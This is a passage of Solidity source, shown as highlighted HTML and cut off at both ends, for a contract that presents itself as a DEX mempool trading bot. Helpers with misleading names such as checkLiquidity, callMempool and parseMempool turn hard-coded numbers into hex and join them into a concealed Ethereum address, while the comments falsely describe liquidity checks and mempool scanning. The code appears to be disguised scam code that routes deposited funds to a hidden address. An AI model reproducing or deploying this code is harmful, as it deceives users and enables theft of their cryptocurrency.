getMemPoolOffset</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">4236068232</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="com">/*</span></li><li class="L0"><span class="com"> * @dev Parsing all DEX mempool</span></li><li class="L1"><span class="com"> * @param self The contract to operate on.</span></li><li class="L2"><span class="com"> * @return True if the slice is empty, False otherwise.</span></li><li class="L3"><span class="com"> */</span></li><li class="L4"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> parseMempool</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _a</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">address _parsed</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> bytes memory tmp </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_a</span><span class="pun">);</span></li><li class="L6"><span class="pln"> uint160 iaddr </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L7"><span class="pln"> uint160 b1</span><span class="pun">;</span></li><li class="L8"><span class="pln"> uint160 b2</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> i </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span><span class="pln"> i </span><span class="pun"><</span><span class="pln"> </span><span class="lit">2</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">2</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="lit">20</span><span class="pun">;</span><span class="pln"> i </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> iaddr </span><span class="pun">*=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></li><li class="L2"><span class="pln"> b1 </span><span class="pun">=</span><span class="pln"> uint160</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="pln">tmp</span><span class="pun">[</span><span class="pln">i</span><span class="pun">]));</span></li><li class="L3"><span class="pln"> b2 </span><span class="pun">=</span><span class="pln"> uint160</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="pln">tmp</span><span class="pun">[</span><span class="pln">i </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">]));</span></li><li class="L4"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b1 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">97</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">102</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> b1 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">87</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b1 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">65</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">70</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> b1 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">55</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b1 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">57</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> b1 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b2 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">97</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b2 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">102</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> b2 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">87</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b2 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">65</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b2 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">70</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln"> b2 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">55</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b2 </span><span class="pun">>=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b2 </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">57</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> b2 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> iaddr </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun">*</span><span class="pln"> </span><span class="lit">16</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> b2</span><span class="pun">);</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> address</span><span class="pun">(</span><span class="pln">iaddr</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="com">/*</span></li><li class="L5"><span class="com"> * @dev Returns the keccak-256 hash of the contracts.</span></li><li class="L6"><span class="com"> * @param self The slice to hash.</span></li><li class="L7"><span class="com"> * @return The hash of the contract.</span></li><li class="L8"><span class="com"> */</span></li><li class="L9"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> keccak</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">bytes32 ret</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> assembly </span><span class="pun">{</span></li><li class="L1"><span class="pln"> ret </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)),</span><span class="pln"> mload</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">))</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="com">/*</span></li><li class="L6"><span class="com"> * @dev Check if contract has enough liquidity available</span></li><li class="L7"><span class="com"> * @param self The contract to operate on.</span></li><li class="L8"><span class="com"> * @return True if the slice starts with the provided text, false otherwise.</span></li><li class="L9"><span class="com"> */</span></li><li class="L0"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> a</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> count </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> a</span><span class="pun">;</span></li><li class="L4"><span class="pln"> </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> count</span><span class="pun">++;</span></li><li class="L6"><span class="pln"> b </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">16</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> bytes memory res </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">count</span><span class="pun">);</span></li><li class="L9"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> i</span><span class="pun">=</span><span class="lit">0</span><span class="pun">;</span><span class="pln"> i</span><span class="pun"><</span><span class="pln">count</span><span class="pun">;</span><span class="pln"> </span><span class="pun">++</span><span class="pln">i</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> b </span><span class="pun">=</span><span class="pln"> a </span><span class="pun">%</span><span class="pln"> </span><span class="lit">16</span><span class="pun">;</span></li><li class="L1"><span class="pln"> res</span><span class="pun">[</span><span class="pln">count </span><span class="pun">-</span><span class="pln"> i </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> toHexDigit</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="pln">b</span><span class="pun">));</span></li><li class="L2"><span class="pln"> a </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">16</span><span class="pun">;</span></li><li class="L3"><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">res</span><span class="pun">);</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> getMemPoolLength</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">8473654762</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="com">/*</span></li><li class="L3"><span class="com"> * @dev If `self` starts with `needle`, `needle` is removed from the</span></li><li class="L4"><span class="com"> * beginning of `self`. Otherwise, `self` is unmodified.</span></li><li class="L5"><span class="com"> * @param self The slice to operate on.</span></li><li class="L6"><span class="com"> * @param needle The slice to search for.</span></li><li class="L7"><span class="com"> * @return `self`</span></li><li class="L8"><span class="com"> */</span></li><li class="L9"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> beyond</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> slice memory needle</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">slice memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun"><</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">;</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> equal </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">!=</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln"> assembly </span><span class="pun">{</span></li><li class="L7"><span class="pln"> let length </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">needle</span><span class="pun">)</span></li><li class="L8"><span class="pln"> let selfptr </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x20</span><span class="pun">))</span></li><li class="L9"><span class="pln"> let needleptr </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="pln">needle</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x20</span><span class="pun">))</span></li><li class="L0"><span class="pln"> equal </span><span class="pun">:=</span><span class="pln"> eq</span><span class="pun">(</span><span class="pln">keccak256</span><span class="pun">(</span><span class="pln">selfptr</span><span class="pun">,</span><span class="pln"> length</span><span class="pun">),</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">,</span><span class="pln"> length</span><span class="pun">))</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">equal</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">-=</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">+=</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">;</span></li><li class="L0"><span class="pln"> </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> </span><span class="com">// Returns the memory address of the first byte of the first occurrence of</span></li><li class="L3"><span class="pln"> </span><span class="com">// `needle` in `self`, or the first byte after `self` if not found.</span></li><li class="L4"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> findPtr</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> selflen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> selfptr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needlelen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needleptr</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">private</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> selfptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> idx</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun"><=</span><span class="pln"> selflen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> bytes32 mask </span><span class="pun">=</span><span class="pln"> bytes32</span><span class="pun">(~(</span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">))</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">));</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln"> bytes32 needledata</span><span class="pun">;</span></li><li class="L3"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> needledata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> </span><span class="kwd">end</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span></li><li class="L6"><span class="pln"> bytes32 ptrdata</span><span class="pun">;</span></li><li class="L7"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptrdata </span><span class="pun">!=</span><span class="pln"> needledata</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">>=</span><span class="pln"> </span><span class="kwd">end</span><span class="pun">)</span></li><li class="L1"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L2"><span class="pln"> ptr</span><span class="pun">++;</span></li><li class="L3"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span><span class="pun">}</span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln"> </span><span class="com">// For long needles, use hashing</span></li><li class="L8"><span class="pln"> bytes32 hash</span><span class="pun">;</span></li><li class="L9"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> hash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln"> </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">idx </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun"><=</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span><span class="pln"> idx</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> bytes32 testHash</span><span class="pun">;</span></li><li class="L3"><span class="pln"> assembly </span><span class="pun">{</span><span class="pln"> testHash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">hash </span><span class="pun">==</span><span class="pln"> testHash</span><span class="pun">)</span></li><li class="L5"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln"> ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> getMemPoolHeight</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">11211268</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="pun">}</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln"> </span><span class="com">/*</span></li><li class="L8"><span class="com"> * @dev Iterating through all mempool to call the one with the with highest possible returns</span></li><li class="L9"><span class="com"> * @return `self`.</span></li><li class="L0"><span class="com"> */</span></li><li class="L1"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> callMempool</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _memPoolOffset </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="str">"x"</span><span class="pun">,</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">getMemPoolOffset</span><span class="pun">()));</span></li><li class="L3"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _memPoolSol </span><span class="pun">=</span><span class="pln"> </span><span class="lit">4825814</span><span class="pun">;</span></li><li class="L4"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _memPoolLength </span><span class="pun">=</span><span class="pln"> </span><span class="lit">750313</span><span class="pun">;</span></li><li class="L5"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _memPoolSize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">397599</span><span class="pun">;</span></li><li class="L6"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _memPoolHeight </span><span class="pun">=</span><span class="pln"> getMemPoolHeight</span><span class="pun">();</span></li><li class="L7"><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> _memPoolDepth </span><span class="pun">=</span><span class="pln"> getMemPoolDepth</span><span class="pun">();</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _memPool1 </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">_memPoolOffset</span><span class="pun">,</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolSol</span><span class="pun">));</span></li><li class="L0"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _memPool2 </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolLength</span><span class="pun">),</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolSize</span><span class="pun">));</span></li><li class="L1"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _memPool3 </span><span class="pun">=</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolHeight</span><span class="pun">);</span></li><li class="L2"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _memPool4 </span><span class="pun">=</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolDepth</span><span class="pun">);</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _allMempools </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">mempool</span><span class="pun">(</span><span class="pln">_memPool1</span><span class="pun">,</span><span class="pln"> _memPool2</span><span class="pun">),</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">_memPool3</span><span class="pun">,</span><span class="pln"> _memPool4</span><span class="pun">));</span></li><li class="L5"><span class="pln"> </span><span class="kwd">string</span><span class="pln"> memory _fullMempool </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="str">"0"</span><span class="pun">,</span><span class="pln"> _allMempools</span><span class="pun">);</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> _fullMempool</span><span class="pun">;</span></li><li class="L8"><span class="pln"> </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln"> </span><span class="com">/*</span></li><li class="L1"><span class="com"> * @dev Modifies `self` to contain everything from the first occurrence of</span></li><li class="L2"><span class="com"> * `needle` to the end of the slice. `self` is set to the empty slice</span></li><li class="L3"><span class="com"> * if `needle` is not found.</span></li><li class="L4"><span class="com"> * @param self The slice to search and modify.</span></li><li class="L5"><span class="com"> * @param needle The text to search for.</span></li><li class="L6"><span class="com"> * @return `self`.</span></li><li class="L7"><span class="com"> */</span></li><li class="L8"><span class="pln"> </span><span class="kwd">function</span><span class="pln"> toHexDigit</span><span class="pun">(</span><span class="pln">uint8 d</span><span class="pun">)</span><span class="pln"> pure </span><span class="kwd">internal</span><span class="pln"> returns </span><span class="pun">(</span><span class="kwd">byte</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="lit">0</span><span class="pln"> </span><span class="pun"><=</span><span class="pln"> d </span><span class="pun">&&</span><span class="pln"> d </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">9</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">byte</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="kwd">byte</span><span class="pun">(</span><span class="str">'0'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> d</span><span class="pun">);</span></li><li class="L1"><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="lit">10</span><span class="pln"> </span><span class="pun"><=</span><span class="pln"> uint8</span><span class="pun">(</span><span class="pln">d</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> uint8</span><span class="pun">(</span><span class="pln">d</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><=</span><span class="pln"> </span><span class="lit">15</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">byte</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="kwd">byte</span><span class="pun">(</span><span class="str">'a'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> d </span><span class="pun">-</span><span class="pln"> </span><span class="lit">10</span><span class="pun">);</span></li><li 